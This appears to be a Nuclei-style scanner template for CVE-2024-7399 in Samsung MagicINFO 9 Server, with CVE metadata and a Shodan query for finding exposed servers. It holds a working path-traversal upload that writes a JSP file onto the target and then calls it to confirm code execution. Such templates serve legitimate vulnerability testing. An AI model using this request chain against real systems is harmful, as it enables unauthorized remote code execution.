漏洞描述
Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
id: CVE-2024-7399
info:
name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution
author: iamnoooob,pdresearch
severity: high
description: |
Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-7399
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-7399
cwe-id: CWE-22
epss-score: 0.695
epss-percentile: 0.98609
cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
metadata:
vendor: samsung
product: magicinfo_9_server
verified: true
max-request: 1
shodan-query: 'Server: MagicInfo Premium Server'
tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev
flow: http(1) && http(2)
variables:
filename: "{{randbase(6)}}"
input: "{{randstr}}"
http:
- raw:
- |
POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1
Host: {{Hostname}}
Content-Type: text/plain
<%@ page import="java.util.Base64" %>
<%
String base64Input = request.getParameter("input");
if (base64Input != null) {
byte[] decodedBytes = Base64.getDecoder().decode(base64Input);
out.print(new String(decodedBytes));
}
%>
matchers:
- type: status
status:
- 200
internal: true
- raw:
- |
GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{input}}'
- type: status
status:
- 200
# digest: 4b0a00483046022100c5cee85a2ac792daa5c606183ad4b277f91379e7d0149e59c949258e88f2f0ac022100bcbe36426ac635aae57061e72ee485e223c60f74692949067ecef0eaff011f5b:922c64590222798bb761d5b6d8e72950